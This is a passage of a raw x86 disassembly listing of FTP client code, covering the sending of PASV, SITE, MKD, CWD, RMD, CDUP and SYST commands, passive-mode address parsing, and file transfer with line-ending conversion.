[esp+110h+arg_4] test esi, esi jnz short loc_42E5FC cmp edi, 4 jz short loc_42E5D6 cmp edi, 3 jnz short loc_42E5FC loc_42E5D6: ; CODE XREF: sub_42E5B0+1Fj mov eax, [esp+110h+arg_C] push offset aMissingPathArg ; "Missing path argument for file transfer"... add eax, 44h push eax nop call near ptr 77C3F931h add esp, 8 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E5FC: ; CODE XREF: sub_42E5B0+1Aj ; sub_42E5B0+24j mov ecx, [esp+110h+arg_8] mov ebp, dword_511A6C push ecx lea edx, [esp+114h+var_100] push offset dword_4474B8 push edx call ebp ; sprintf mov ebx, [esp+11Ch+arg_C] lea eax, [esp+11Ch+var_100] push ebx push 32h push eax call sub_42E490 add esp, 18h test eax, eax jz loc_42E7BE lea eax, [edi-1] ; switch 4 cases cmp eax, 3 ja loc_42E7AF ; default jmp off_42E7CC[eax*4] ; switch jump loc_42E648: ; DATA XREF: ___:off_42E7CCo mov ecx, dword_4474B0 ; jumptable 0042E641 case 1 mov dl, byte_4474B4 mov [esp+110h+var_100], ecx mov [esp+110h+var_FC], dl mov ebp, 1 jmp short loc_42E6B0 ; --------------------------------------------------------------------------- loc_42E663: ; CODE XREF: sub_42E5B0+91j ; DATA XREF: ___:off_42E7CCo mov eax, dword_4474A8 ; jumptable 0042E641 case 2 mov cl, byte_4474AC mov [esp+110h+var_100], eax mov [esp+110h+var_FC], cl mov ebp, 1 jmp short loc_42E6B0 ; --------------------------------------------------------------------------- loc_42E67D: ; CODE XREF: sub_42E5B0+91j ; DATA XREF: ___:off_42E7CCo mov edx, dword_4474A0 ; jumptable 0042E641 case 3 mov al, byte_4474A4 mov [esp+110h+var_100], edx mov [esp+110h+var_FC], al mov ebp, 1 jmp short loc_42E6B0 ; --------------------------------------------------------------------------- loc_42E697: ; CODE XREF: sub_42E5B0+91j ; DATA XREF: ___:off_42E7CCo mov ecx, dword_447498 ; jumptable 0042E641 case 4 mov dl, byte_44749C mov [esp+110h+var_100], ecx mov [esp+110h+var_FC], dl mov ebp, 2 loc_42E6B0: ; CODE XREF: sub_42E5B0+B1j ; sub_42E5B0+CBj ... test esi, esi jz short loc_42E703 lea edi, [esp+110h+var_100] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov edi, esi mov edx, ecx or ecx, 0FFFFFFFFh mov byte ptr [esp+edx+110h+var_100], 20h inc edx repne scasb not ecx dec ecx add ecx, edx cmp ecx, 100h jnb loc_42E7BE mov edi, esi or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx lea edx, [esp+edx+110h+var_100] mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_42E703: ; CODE XREF: sub_42E5B0+102j mov ecx, [esp+110h+arg_8] mov esi, [esp+110h+arg_10] push ebp push ecx push esi push ebx call sub_42E870 add esp, 10h cmp eax, 0FFFFFFFFh jz loc_42E7BE push ebx lea edx, [esp+114h+var_100] push 31h push edx call sub_42E490 add esp, 0Ch test eax, eax jnz short loc_42E758 mov eax, [esi] push eax call sub_401BEF add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E758: ; CODE XREF: sub_42E5B0+188j mov ecx, [esi] mov [ecx+1Ch], ebx mov eax, [ebx+24h] mov edx, [esi] cmp eax, 2 mov [ebx+20h], edx jnz short loc_42E79F mov eax, [esi] push ebx push eax call sub_42ED50 ; --------------------------------------------------------------------------- add esp, 8 test eax, eax jnz short loc_42E79F mov ecx, [esi] push ecx call sub_401BEF add esp, 4 mov dword ptr [esi], 0 mov dword ptr [ebx+20h], 0 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E79F: ; CODE XREF: sub_42E5B0+1B8j ; sub_42E5B0+1C8j pop edi pop esi pop ebp mov eax, 1 pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E7AF: ; CODE XREF: sub_42E5B0+8Bj push edi ; default add ebx, 44h push offset aInvalidOpenTyp ; "Invalid open type %d\n" push ebx call ebp ; sprintf add esp, 0Ch loc_42E7BE: ; CODE XREF: sub_42E5B0+7Fj ; sub_42E5B0+12Cj ... pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 100h retn sub_42E5B0 endp ; --------------------------------------------------------------------------- align 4 off_42E7CC dd offset loc_42E648 ; DATA XREF: sub_42E5B0+91r dd offset loc_42E663 ; jump table for switch statement dd offset loc_42E67D dd offset loc_42E697 db 4 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E870 proc near ; CODE XREF: sub_42E5B0+165p var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = word ptr -120h var_11E = word ptr -11Eh var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_114 = byte ptr -114h var_110 = byte ptr -110h var_10C = byte ptr -10Ch var_108 = byte ptr -108h var_104 = byte ptr -104h arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h sub esp, 134h push ebx mov ebx, [esp+138h+arg_0] push ebp push esi mov eax, [ebx+18h] xor ebp, ebp mov esi, 1 cmp eax, ebp push edi mov [esp+144h+var_120], bp mov [esp+144h+var_11E], bp mov [esp+144h+var_11C], esi jnz loc_42EB94 mov eax, [esp+144h+arg_C] cmp eax, esi jz short loc_42E8D2 cmp eax, 2 jz short loc_42E8D2 push eax add ebx, 44h push offset aInvalidDirecti ; "Invalid direction %d\n" push ebx nop call near ptr 77C3F931h add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_42E8D2: ; CODE XREF: sub_42E870+3Aj ; sub_42E870+3Fj mov eax, [esp+144h+arg_8] cmp eax, 41h jz short loc_42E904 cmp eax, 49h jz short loc_42E904 push eax add ebx, 44h push offset aInvalidModeC ; "Invalid mode %c\n" push ebx call near ptr 77C3F931h nop add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_42E904: ; CODE XREF: sub_42E870+6Cj ; sub_42E870+71j mov eax, [ebx+24h] mov [esp+144h+var_124], 10h cmp eax, esi jnz loc_42E9E9 xor eax, eax push ebx mov [esp+148h+var_134], eax push 32h mov [esp+14Ch+var_130], eax push offset aPasv ; "PASV" mov [esp+150h+var_12C], eax mov word ptr [esp+150h+var_134], 2 mov [esp+150h+var_128], eax call sub_42E490 add esp, 0Ch test eax, eax jz loc_42EB94 lea ecx, [ebx+44h] push 28h push ecx call near ptr 77C47660h nop add esp, 8 cmp eax, ebp jz loc_42EB94 lea edx, [esp+144h+var_114] lea ecx, [esp+144h+var_118] push edx push ecx lea edx, [esp+14Ch+var_104] lea ecx, [esp+14Ch+var_108] push edx push ecx lea edx, [esp+154h+var_10C] lea ecx, [esp+154h+var_110] push edx push ecx inc eax push offset aUUUUUU ; "%u,%u,%u,%u,%u,%u" push eax nop call near ptr 77C41B72h mov dl, [esp+164h+var_110] mov al, [esp+164h+var_10C] mov cl, [esp+164h+var_108] mov byte ptr [esp+164h+var_130], dl mov dl, [esp+164h+var_104] mov byte ptr [esp+164h+var_130+1], al mov al, [esp+164h+var_118] mov byte ptr [esp+164h+var_130+2], cl mov cl, [esp+164h+var_114] add esp, 20h mov byte ptr [esp+144h+var_130+3], dl mov byte ptr [esp+144h+var_134+2], al mov byte ptr [esp+144h+var_134+3], cl push 6 push esi push 2 call sub_438232 ; --------------------------------------------------------------------------- db 8Bh dd 0FFFF83F8h, 4684D75h, 0E8004474h, 7780841Ah, 4C48390h dd 5E5FC70Bh, 0C4815B5Dh, 134h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_42E9E9: ; CODE XREF: sub_42E870+A1j mov ecx, [ebx+8] lea edx, [esp+144h+var_124] lea eax, [esp+144h+var_134] push edx push eax push ecx call sub_438220 ; --------------------------------------------------------------------------- dd 0BD7DC085h, 44752468h, 0E7E89000h, 83778083h, 0C03304C4h dd 5B5D5E5Fh, 134C481h, 8DC30000h, 6A282454h, 46A5204h dd 0FFFF68h, 4BE85700h, 83000098h, 0A75FFF8h, 4473F468h dd 147E900h, 448D0000h, 46A2424h, 806850h, 0FF680000h dd 570000FFh, 9825E8h, 0FFF88300h, 0F4680A75h, 0E9004473h dd 121h, 75247339h, 244C8D20h, 51106A10h, 97C2E857h, 0F8830000h dd 0EC850FFFh, 68000000h, 4471F4h, 0FCE9h, 24548D00h, 52106A10h dd 6C896657h, 8BE81E24h, 83000097h, 775FFF8h, 44751C68h dd 5610EB00h, 9766E857h, 0C0850000h, 1468217Dh, 0E8004475h dd 77808336h, 4C48390h, 9736E857h, 5E5F0000h, 5BC0335Dh dd 134C481h, 8DC30000h, 8D202444h, 5010244Ch, 3DE85751h dd 85000097h, 5F0D7DC0h, 0C0335D5Eh, 34C4815Bh, 0C3000001h dd 1324548Bh, 1224448Bh, 17244C8Bh, 0FFE281h, 0FF250000h dd 52000000h, 1A24548Bh, 0FFE181h, 8B500000h, 511D2444h dd 20244C8Bh, 0FFE281h, 0FF250000h, 52000000h, 0FFE181h dd 51500000h, 5C24548Dh, 4474F868h, 0E8905200h, 77810DEDh dd 24448D53h, 50326A68h, 0FFF93FE8h, 2CC483FFh, 1375C085h dd 969EE857h, 5E5F0000h, 5BC0335Dh, 134C481h, 68C30000h dd 144h, 4CE89056h, 8B777FD5h, 8C483F0h, 2275F53Bh, 4473EC68h dd 67E89000h, 83778082h, 0E85704C4h, 9668h ; --------------------------------------------------------------------------- loc_42EB94: ; CODE XREF: sub_42E870+2Bj ; sub_42E870+D2j ... pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx add esp, 134h retn sub_42E870 endp ; --------------------------------------------------------------------------- dw 0BC83h dd 15024h, 41754100h, 200068h, 50E89000h, 83777FD8h, 0C53B04C4h dd 75144689h, 73EC682Ch, 0E8900044h, 77808226h, 5704C483h dd 9627E8h, 0E8905600h, 777FD63Fh, 8304C483h, 5E5FFFC8h dd 0C4815B5Dh, 134h, 248C8BC3h, 154h, 89087E89h, 538B184Eh dd 28568928h, 892C438Bh, 4B8B2C46h, 344E8934h, 89284E8Bh dd 6E89386Eh, 3C438B40h, 4689CD3Bh, 390E753Ch, 9752C6Eh dd 575C53Bh, 0EB306E89h, 30538B06h, 8B305689h, 14C2484h dd 895F0000h, 0B85D5E30h, 1, 34C4815Bh, 0C3000001h, 90909090h dd 40h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42ED50 proc near ; CODE XREF: sub_42E5B0+1BEp var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 124h push ebx mov ebx, [esp+128h+arg_0] push ebp push esi mov esi, [esp+130h+arg_4] mov eax, [ebx+8] xor ebp, ebp push edi mov ecx, [esi+8] mov [esp+134h+var_FC], eax cmp ecx, eax mov [esp+134h+var_100], ecx mov [esp+134h+var_104], 2 mov [esp+134h+var_118], ebp mov [esp+134h+var_11C], 1Eh jge short loc_42ED92 mov ecx, eax loc_42ED92: ; CODE XREF: sub_42ED50+3Ej lea eax, [esp+134h+var_11C] lea edx, [esp+134h+var_104] push eax push ebp push ebp inc ecx push edx push ecx call sub_438208 sub_42ED50 endp ; --------------------------------------------------------------------------- db 83h, 0F8h, 0FFh dd 683E75h, 90000001h, 7F0507E8h, 50008B77h, 80843DE8h dd 0C4839077h, 44C68304h, 0E8905650h, 77818CC4h, 83084B8Bh dd 0E8510CC4h, 9424h, 86B895Fh, 0C0335D5Eh, 24C4815Bh dd 0C3000001h, 2975C53Bh, 0B9447E8Dh, 8, 447584BEh, 0A4A5F300h dd 5208538Bh, 93F7E8h, 6B895F00h, 335D5E08h, 0C4815BC0h dd 124h, 84B8BC3h, 3024448Dh, 33E85150h, 85000094h, 8B7A74C0h dd 548D084Bh, 448D1424h, 50522024h, 2444C751h, 1020h, 93C0E800h dd 0F88B0000h, 472E890h, 108B777Fh, 5008438Bh, 14245489h dd 93A3E8h, 7EFD3B00h, 87B8913h, 0B85D5E5Fh, 1, 24C4815Bh dd 0C3000001h, 10244C8Bh, 10068h, 0E8905100h, 7780837Ah dd 8304C483h, 565044C6h, 8C02E890h, 0C4837781h, 86B890Ch dd 5E5FC033h, 0C4815B5Dh, 124h, 8468BC3h, 3024548Dh, 0A7E85052h dd 85000093h, 8B2474C0h, 0E851084Bh, 9340h, 89326A56h dd 39E8086Bh, 83FFFFEFh, 0C03308C4h, 5B5D5E5Fh, 124C481h dd 8BC30000h, 5F102444h, 815B5D5Eh, 124C4h, 9090C300h dd 2 dup(90909090h), 1Ch dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_42EF60 proc near ; CODE XREF: sub_40226Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi cmp dword ptr [esi+18h], 1 jz short loc_42EF71 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42EF71: ; CODE XREF: sub_42EF60+Aj mov eax, [esi+14h] push esi test eax, eax jz short loc_42EF8D mov eax, [esp+0Ch+arg_4] mov ecx, [esp+0Ch+arg_0] push eax push ecx call sub_42DF40 add esp, 0Ch jmp short loc_42EFB4 ; --------------------------------------------------------------------------- loc_42EF8D: ; CODE XREF: sub_42EF60+17j call sub_42E170 add esp, 4 cmp eax, 1 jz short loc_42EF9F pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42EF9F: ; CODE XREF: sub_42EF60+38j mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] mov ecx, [esi+8] push 0 push edx push eax push ecx call sub_4381F0 ; --------------------------------------------------------------------------- loc_42EFB4: ; CODE XREF: sub_42EF60+2Bj mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_42EFC0 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42EFC0: ; CODE XREF: sub_42EF60+59j mov ecx, [esi+38h] add ecx, edi mov [esi+38h], ecx mov edx, ecx mov ecx, [esi+30h] test ecx, ecx jz short loc_42EFFF mov eax, [esi+3Ch] test eax, eax jz short loc_42EFFF push ebx mov ebx, [esi+40h] add ebx, edi mov [esi+40h], ebx cmp ebx, eax pop ebx jle short loc_42EFFF mov eax, [esi+34h] push eax push edx push esi call ecx add esp, 0Ch test eax, eax jnz short loc_42EFF8 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42EFF8: ; CODE XREF: sub_42EF60+93j mov dword ptr [esi+40h], 0 loc_42EFFF: ; CODE XREF: sub_42EF60+6Fj ; sub_42EF60+76j ... mov eax, edi pop edi pop esi retn sub_42EF60 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F040 proc near ; CODE XREF: sub_402216j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi cmp dword ptr [esi+18h], 2 jz short loc_42F051 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42F051: ; CODE XREF: sub_42F040+Aj mov eax, [esi+14h] push esi test eax, eax jz short loc_42F06D mov eax, [esp+0Ch+arg_4] mov ecx, [esp+0Ch+arg_0] push eax push ecx call sub_42F110 add esp, 0Ch jmp short loc_42F08A ; --------------------------------------------------------------------------- loc_42F06D: ; CODE XREF: sub_42F040+17j call sub_42E170 mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] mov ecx, [esi+8] add esp, 4 push 0 push edx push eax push ecx call sub_4381F6 ; --------------------------------------------------------------------------- loc_42F08A: ; CODE XREF: sub_42F040+2Bj mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_42F096 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42F096: ; CODE XREF: sub_42F040+4Fj mov edx, [esi+38h] mov eax, [esi+30h] add edx, edi test eax, eax mov [esi+38h], edx jz short loc_42F0CC mov ecx, [esi+3Ch] test ecx, ecx jz short loc_42F0CC push ebx mov ebx, [esi+40h] add ebx, edi mov [esi+40h], ebx cmp ebx, ecx pop ebx jle short loc_42F0CC mov ecx, [esi+34h] push ecx push edx push esi call eax add esp, 0Ch mov dword ptr [esi+40h], 0 loc_42F0CC: ; CODE XREF: sub_42F040+63j ; sub_42F040+6Aj ... mov eax, edi pop edi pop esi retn sub_42F040 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F110 proc near ; CODE XREF: sub_42F040+23p ; sub_42F2C0+28p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_8] push esi xor esi, esi xor al, al mov ecx, [ebp+18h] push edi cmp ecx, 2 jz short loc_42F12C pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx retn ; --------------------------------------------------------------------------- loc_42F12C: ; CODE XREF: sub_42F110+12j mov ecx, [esp+10h+arg_4] mov edi, [ebp+14h] xor ebx, ebx test ecx, ecx jle loc_42F254 loc_42F13D: ; CODE XREF: sub_42F110+AFj mov ecx, [esp+10h+arg_0] cmp byte ptr [ebx+ecx], 0Ah jnz short loc_42F17E cmp al, 0Dh jz short loc_42F17E cmp esi, 2000h jnz short loc_42F179 push ebp call sub_42E170 add esp, 4 test eax, eax jz short loc_42F1DA mov edx, [ebp+8] push 0 push esi push edi push edx call sub_4381F6 ; --------------------------------------------------------------------------- mov esi, eax cmp esi, 2000h jnz short loc_42F1E1 xor esi, esi loc_42F179: ; CODE XREF: sub_42F110+41j mov byte ptr [edi+esi], 0Dh inc esi loc_42F17E: ; CODE XREF: sub_42F110+35j ; sub_42F110+39j cmp esi, 2000h jnz short loc_42F1AC push ebp call sub_42E170 add esp, 4 test eax, eax jz short loc_42F1DA mov eax, [ebp+8] push 0 push esi push edi push eax call sub_4381F6 ; --------------------------------------------------------------------------- mov esi, eax cmp esi, 2000h jnz short loc_42F201 xor esi, esi loc_42F1AC: ; CODE XREF: sub_42F110+74j mov ecx, [esp+10h+arg_0] inc esi mov al, [ebx+ecx] mov ecx, [esp+10h+arg_4] mov [edi+esi-1], al inc ebx cmp ebx, ecx jl loc_42F13D test esi, esi jz loc_42F254 push ebp call sub_42E170 add esp, 4 test eax, eax jnz short loc_42F221 loc_42F1DA: ; CODE XREF: sub_42F110+4Ej ; sub_42F110+81j pop edi pop esi mov eax, ebx pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42F1E1: ; CODE XREF: sub_42F110+65j nop call near ptr 77C1F2BCh mov edx, [eax] push edx push esi push offset aNet_write1Retu ; "net_write(1) returned %d, errno = %d\n" nop call near ptr 77C4186Ah add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42F201: ; CODE XREF: sub_42F110+98j call near ptr 77C1F2BCh nop mov eax, [eax] push eax push esi push offset aNet_write2Retu ; "net_write(2) returned %d, errno = %d\n" nop call near ptr 77C4186Ah add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42F221: ; CODE XREF: sub_42F110+C8j mov ecx, [ebp+8] push 0 push esi push edi push ecx call sub_4381F6 ; --------------------------------------------------------------------------- dw 0F88Bh dd 2074FE3Bh, 7F0083E8h, 108B9077h, 0AC685752h, 90004475h dd 812621E8h, 0CC48377h, 5FFFC883h, 0C35B5D5Eh ; --------------------------------------------------------------------------- loc_42F254: ; CODE XREF: sub_42F110+27j ; sub_42F110+B7j mov eax, [esp+10h+arg_4] pop edi pop esi pop ebp pop ebx retn sub_42F110 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F2C0 proc near ; CODE XREF: sub_401BEFj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi mov eax, [esi+18h] sub eax, 0 jz short loc_42F33B dec eax jz short loc_42F2F0 dec eax jz short loc_42F2DC loc_42F2D4: ; CODE XREF: sub_42F2C0+64j pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- loc_42F2DC: ; CODE XREF: sub_42F2C0+12j mov eax, [esi+14h] test eax, eax jz short loc_42F2F0 push esi push 0 push 0 call sub_42F110 add esp, 0Ch loc_42F2F0: ; CODE XREF: sub_42F2C0+Fj ; sub_42F2C0+21j mov eax, [esi+14h] push ebx mov ebx, dword_511AD0 test eax, eax jz short loc_42F304 push eax call ebx ; free add esp, 4 loc_42F304: ; CODE XREF: sub_42F2C0+3Cj mov eax, [esi+8] push 2 push eax call sub_438292 ; --------------------------------------------------------------------------- mov ecx, [esi+8] push ecx call sub_4381FC ; --------------------------------------------------------------------------- mov edi, [esi+1Ch] push esi call ebx ; free add esp, 4 test edi, edi pop ebx jz short loc_42F2D4 push edi push 32h mov dword ptr [edi+20h], 0 call sub_42DE00 add esp, 8 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F33B: ; CODE XREF: sub_42F2C0+Cj mov eax, [esi+20h] test eax, eax jz short loc_42F352 push esi mov dword ptr [esi+1Ch], 0 call sub_401BEF add esp, 4 loc_42F352: ; CODE XREF: sub_42F2C0+80j mov edx, [esi+8] push edx call sub_4381FC sub_42F2C0 endp ; --------------------------------------------------------------------------- db 56h db 90h db 0E8h, 0B9h, 0CEh dd 0C483777Fh, 5FC03304h, 9090C35Eh, 90909090h, 0Ch dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_42F3A0: ; CODE XREF: ___:00401CF8j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 6 pop edi cmp ecx, 100h jbe short loc_42F3C9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42F3C9: ; CODE XREF: ___:0042F3C0j push edx lea eax, [esp+4] push offset aSiteS ; "SITE %s" push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42E490 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F420: ; CODE XREF: ___:004016CCj push esi mov esi, [esp+8] push edi mov edi, [esp+14h] push edi push 32h push offset aSyst ; "SYST" call sub_42E490 add esp, 0Ch test eax, eax jnz short loc_42F441 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F441: ; CODE XREF: ___:0042F43Cj mov eax, [esp+10h] lea ecx, [edi+48h] lea edx, [eax-1] test edx, edx jz short loc_42F45C loc_42F44F: ; CODE XREF: ___:0042F45Aj mov al, [ecx] cmp al, 20h jz short loc_42F45C mov [esi], al inc esi inc ecx dec edx jnz short loc_42F44F loc_42F45C: ; CODE XREF: ___:0042F44Dj ; ___:0042F453j mov byte ptr [esi], 0 pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F490: ; CODE XREF: ___:00402270j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_42F4B9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42F4B9: ; CODE XREF: ___:0042F4B0j push edx lea eax, [esp+4] push offset aMkdS ; "MKD %s" push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42E490 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F510: ; CODE XREF: ___:0040227Fj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_42F539 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42F539: ; CODE XREF: ___:0042F530j push edx lea eax, [esp+4] push offset aCwdS ; "CWD %s" push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42E490 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F590: ; CODE XREF: ___:0040178Aj mov eax, [esp+4] push eax push 32h push offset aCdup ; "CDUP" call sub_42E490 add esp, 0Ch neg eax sbb eax, eax neg eax retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F5C0: ; CODE XREF: ___:00402220j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_42F5E9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42F5E9: ; CODE XREF: ___:0042F5E0j push edx lea eax, [esp+4] push offset aRmdS ; "RMD %s" push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42E490 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F640: ; CODE XREF: ___:00401677j push esi mov esi, [esp+8] push edi mov edi, [esp+14h] push edi push 32h push offset off_447670 call sub_42E490 add esp, 0Ch test eax, eax jnz short loc_42F661 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F661: ; CODE XREF: ___:0042F65Cj add edi, 44h push 22h push edi nop call near ptr 77C47660h add esp, 8 test eax, eax jnz short loc_42F677 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F677: ; CODE XREF: ___:0042F672j mov ecx, [esp+10h] inc eax lea edx, [ecx-1] test edx, edx jz short loc_42F695 loc_42F683: ; CODE XREF: ___:0042F693j mov cl, [eax] test cl, cl jz short loc_42F695 cmp cl, 22h jz short loc_42F695 mov [esi], cl inc esi inc eax dec edx jnz short loc_42F683 loc_42F695: ; CODE XREF: ___:0042F681j ; ___:0042F687j ... mov byte ptr [esi], 0 pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F6C0: ; CODE XREF: ___:00401127j mov eax, [esp+0Ch] mov ecx, [esp+8] mov edx, [esp+4] push 41h push 1 push eax push ecx push edx call sub_42F6F0 add esp, 14h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F6F0 proc near ; CODE XREF: ___:0042F6D3p ; ___:0042F953p ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h push ecx mov eax, [esp+4+arg_0] push ebx push ebp xor ebp, ebp push esi push edi mov edi, [esp+14h+arg_10] cmp eax, ebp mov [esp+14h+var_4], 1 jz short loc_42F77A mov esi, [esp+14h+arg_C] mov cx, word_4476B0 cmp esi, 4 mov word ptr [esp+14h+arg_10], cx mov word ptr [esp+14h+arg_10+2], bp jnz short loc_42F72A mov byte ptr [esp+14h+arg_10], 72h loc_42F72A: ; CODE XREF: sub_42F6F0+33j cmp edi, 49h jnz short loc_42F734 mov byte ptr [esp+14h+arg_10+1], 62h loc_42F734: ; CODE XREF: sub_42F6F0+3Dj lea edx, [esp+14h+arg_10] push edx push eax call near ptr 77C3F010h nop mov ebx, eax add esp, 8 cmp ebx, ebp jnz short loc_42F794 push 100h nop call near ptr 77C1F2BCh mov eax, [eax] push eax call near ptr 77C371FAh nop mov ecx, [esp+1Ch+arg_8] add esp, 4 add ecx, 44h push eax push ecx nop call near ptr 77C47A90h add esp, 0Ch xor eax, eax pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42F77A: ; CODE XREF: sub_42F6F0+19j mov esi, [esp+14h+arg_C] cmp esi, 4 jnz short loc_42F78B mov ebx, dword_511A90 jmp short loc_42F794 ; --------------------------------------------------------------------------- loc_42F78B: ; CODE XREF: sub_42F6F0+91j mov edx, dword_511A90 lea ebx, [edx+20h] loc_42F794: ; CODE XREF: sub_42F6F0+57j ; sub_42F6F0+99j mov ecx, [esp+14h+arg_8] mov edx, [esp+14h+arg_4] lea eax, [esp+14h+arg_C] push eax push ecx push edi push esi push edx call sub_401F73 add esp, 14h test eax, eax jnz short loc_42F7B7 pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42F7B7: ; CODE XREF: sub_42F6F0+BFj push 2000h call near ptr 77C2C407h nop add esp, 4 cmp esi, 4 mov edi, eax jnz short loc_42F82D mov ebp, dword_511AB0 push ebx push 2000h push 1 push edi call ebp ; fread mov esi, eax add esp, 10h test esi, esi jle loc_42F883 loc_42F7EA: ; CODE XREF: sub_42F6F0+11Fj mov eax, [esp+14h+arg_C] push eax push esi push edi call sub_402216 add esp, 0Ch cmp eax, esi jl short loc_42F813 